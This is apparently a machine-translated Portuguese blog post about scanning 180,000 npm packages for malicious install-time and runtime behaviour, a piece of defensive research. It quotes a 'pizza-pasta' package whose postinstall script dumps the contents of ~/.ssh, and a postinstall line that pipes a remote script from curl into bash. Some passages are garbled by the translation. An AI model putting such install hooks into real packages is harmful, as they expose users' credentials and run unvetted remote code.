Há alguns meses, iniciei um projeto chamado pacotes maliciosos (também conhecido como "pacotes maliciosos"). Ele monitora atualizações no repositório npm, baixa todos os novos módulos e depois verifica se há piolhos - procura atividades de rede, operações suspeitas com o sistema de arquivos etc. Mesmo pequenos projetos no node.js geralmente têm uma grande árvore de dependências, e os desenvolvedores fisicamente não têm como testar todos eles. Isso oferece aos atacantes uma enorme margem de manobra, e surge a pergunta: quanto registro desagradável está oculto nos cantos escuros do registro npm? 180.000 pacotes verificados depois, recebi uma resposta aproximada.

E esta resposta - talvez nem tanto.
[nota: no meio há uma versão em inglês deste artigo, também da minha autoria]
O que um pacote npm pode fazer com seu sistema?
O pacote tem duas maneiras principais de prejudicá-lo - ao instalar / desinstalar e no momento em que você inicia o aplicativo. Vejamos as duas opções com exemplos.
Os scripts do NPM permitem que os pacotes executem comandos arbitrários no momento da instalação e desinstalação. Isso inclui preinstall
install
, install
, preuninstall
install
, preinstall
install
e postuninstall
, que são executados automaticamente pelo npm no momento apropriado no ciclo de vida do pacote. O que eles podem fazer? Tudo é o mesmo que o usuário atual pode fazer - por exemplo, excluir todas as suas fotos das últimas férias ou mesclar o histórico do navegador no FBI (embora, provavelmente, ele já o tenha). Esse comportamento pode ser desativado passando o sinalizador --ignore-scripts
, mas, primeiro, ninguém faz isso e, segundo, dessa maneira, você pode quebrar um monte de pacotes bastante confiáveis. Foi por meio de scripts que foi realizado o ataque sensacional ao ESLint , que afetou os usuários do eslint-scope (6 milhões de instalações por semana) e eslint-config-eslint (2 mil instalações por semana).
O pacote tem uma segunda chance de complicar sua vida durante a inicialização (geralmente ocorre na primeira chamada a ser require
). Agora ele tem a oportunidade de modificar variáveis globais e outros pacotes, por exemplo, roubar a chave privada da sua carteira de bitcoin ou tornar o método crypto.randomBytes
não tão aleatório .

Quantos pacotes maliciosos foram detectados?
Bem, a lista não pode ser chamada de impressionante. No total, foram encontrados 3 pacotes que foram removidos do repositório npm pelos esforços da equipe de segurança npm . Vamos passar por isso:
Apesar dos resultados muito modestos, no processo de analisar todos os pacotes suspeitos (e eu olhei para mais de 3000 relatórios para encontrar essas três pérolas), muitas coisas engraçadas e não muito encontradas foram encontradas nas quais você geralmente não pensa (ou tenta com cuidado não pensar) digitando npm install
. Então, vamos imaginar que você acidentalmente selecione um dos muitos pacotes do repositório e o instale. O que poderia dar errado?
1. Um pacote pode substituir métodos em outros pacotes (incluindo aqueles da entrega padrão do Node.js.)
No entanto, se você ler alguns parágrafos anteriores ou estiver trabalhando com o ecossistema javascript por mais de uma semana, é improvável que isso seja novidade para você. Mas a escala deste desastre pode muito bem escapar de você. Portanto, se seu projeto tiver pelo menos algumas dependências, provavelmente o método fs.closeSync que você já substituiu (e talvez mais de uma vez). Um grande número de pacotes modifica a API de outra pessoa, mas apenas alguns deles têm pelo menos uma boa razão para isso. Entre os "campeões" está o gracioso-fs com 12 milhões de instalações por semana, o que redefine uma dúzia de métodos dos fs . Também vale a pena observar o ouvinte assíncrono , que substitui 46 métodos diferentes , incluindo o crypto.randomBytes
malfadado, que me incomodou um pouco quando descobri isso pela primeira vez.
Imagine o que seria um bug causado por essa substituição de alguma dependência nas profundezas da hierarquia. No entanto, não há motivo para preocupações, porque ...
2. O pacote pode determinar a API alterada para fazer correções adicionais

Sim, alguns pacotes fazem isso (geralmente com relação ao mesmo graceful-fs
) usando maravilhas de acrobacias como /graceful-fs/.test(fs.closeSync.toString())
. Portanto, se você encontrar repentinamente problemas incompreensíveis na biblioteca padrão, tente instalar alguns pacotes npm aleatórios. Ou simplesmente desligue o computador e faça uma caminhada no parque mais próximo, a vida é muito curta para entender tudo isso.
3. Ele pode enviar análises
O Adblock não o protegerá se algo acontecer no console, e os autores de alguns pacotes usam isso com sucesso. Alguns enviam as informações mais básicas, como ecdsa-csr :
Alguns não são tão tímidos. Aqui, por exemplo, faz parte do relatório sem servidor (o original é 2 vezes maior):
Felizmente, o jquery
não envia nenhuma estatística, portanto você ainda pode instalá-lo secretamente por todos. Por enquanto.
4. Seu computador pode ser usado em vez de um servidor de CI / CD
Por que você compilaria seu pacote se seus usuários podem fazer isso durante a instalação ? Você pode obter uma conquista extra se especificar apenas a versão principal do compilador necessário, por exemplo, typescript@3
. Uma esperança para os caras alfabetizados da Microsoft que sabem como fazer o semver certo.
É possível ir ainda mais longe? Claro !
"postinstall": "eslint --ext .js,.vue --fix src"
Agora você pode dormir em paz - todos os usuários receberão fontes perfeitamente formatadas para o seu pacote.
5. Ele pode tentar te assustar.

Se você assistiu todas as séries Sr. Robô, mas ainda não motivado o suficiente para ler Redes de Computadores e fazer algo realmente impressionante, ou seja, uma solução simples - mostre suas habilidades ao mundo através de algumas linhas em um script postinstall
. Foi exatamente isso que o autor da massa de pizza fez (e ao mesmo tempo me apresentou o KDPV).
{ "name": "pizza-pasta", "author": "Zeavo", "scripts": { "install": "mkdir -p ~/Desktop/hacked && touch ~/Desktop/hacked/pwnddddd && wget https://imgur.com/download/KTDNt5I -P ~/Desktop/hacked/", "postinstall": "find ~/.ssh | xargs cat || true && printf '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\nHappy Birthday! Youve been h4ck0red\n\n\n'" } }
6. O pacote pode carregar e executar scripts bash
Você já ouviu falar que curl|bash
não curl|bash
uma boa ideia ? Caso contrário, você pode muito bem ser um funcionário da ORESoftware que possui vários pacotes com linhas semelhantes em um script postinstall
:
curl --silent -o- https://raw.githubusercontent.com/oresoftware/realpath/master/assets/install.sh | bash
Até agora, não há nada de criminoso neste script ... Por enquanto. Espero que todos que tenham acesso ao domínio em oresoftware/realpath
sejam pessoas extremamente honestas e decentes.
7. Você pode ser solicitado por uma senha
O autor do magicleap apresentou uma maneira bastante incomum de distribuir um pacote privado por meio de um repositório público. Seu projeto consiste em um arquivo criptografado e utilitários para descriptografá-lo - mas apenas se você colocar a chave correta na MAGICLEAP
ambiente MAGICLEAP
:
8. O pacote pode se corrigir durante a instalação
O autor do modelo falso não tem tempo para separar os testes do código imediato, especialmente porque isso é fácil, adicionando um comentário especial ao final das linhas de teste:
E exclua-os através do sed
:
"postinstall": "sed -i '/\\/\\/ TEST/d' index.js"
Simples e elegante!
9. O pacote pode alterar npm
configurações de npm
Na minha humilde opinião, o package-json.lock
é uma grande coisa que pode salvar muitos problemas causados pela negligência de outros desenvolvedores. No entanto, alguns oponentes dessa idéia têm argumentos bastante bons contra:
"preinstall": "npm config set package-lock false"
10. Ele pode mudar o fundo da sua área de trabalho em uma foto de Nicolas Cage

Aqui está um link, apenas no caso - https://www.npmjs.com/package/cage-js . Talvez valesse a pena registrar este pacote como malicioso.
11. O pacote pode rolar você
É isso que o ember-data-react faz , abrindo o famoso vídeo durante a instalação. Infelizmente, não será possível transferir dados do Ember para o React com sua ajuda - não há uma única linha de código javascript nele.
12. Pode simplesmente não ser instalado.

Dependências inexistentes, versões especificadas incorretamente, repositórios particulares que caíram no esquecimento - você não pode instalar cerca de 0,6% de todos os pacotes do repositório npm.
Em vez de uma conclusão
Os pacotes NPM podem fazer coisas estranhas com seu sistema, e você não tem muitas opções para se proteger contra isso. Use o package-lock.json
para evitar atualizações repentinas (e certifique-se de que ninguém o desconecte sem o seu conhecimento), configure o CSP no front-end para que o backdoor no módulo de terceiros não possa ao menos mesclar dados ao autor. E faça backup de suas fotos, apenas por precaução.
Se você acha que tem força suficiente para mergulhar no maravilhoso mundo dos pacotes npm - você pode encontrar todas as fontes aqui: https://github.com/malicious-packages/core . O utilitário está cheio de hacks e soluções não ideais, mas lida com sua tarefa. Há também um dump do MongoDB no repositório com os resultados da análise de mais de 180.000 pacotes, o mais importante, não esqueça de adicionar o filtro {'reports.status': 'unverified'}
. Não pretendo mais desenvolver este projeto devido à falta de tempo, mas tentarei ajudar com todas as perguntas e problemas, se houver.
Cuide de si e de suas aplicações!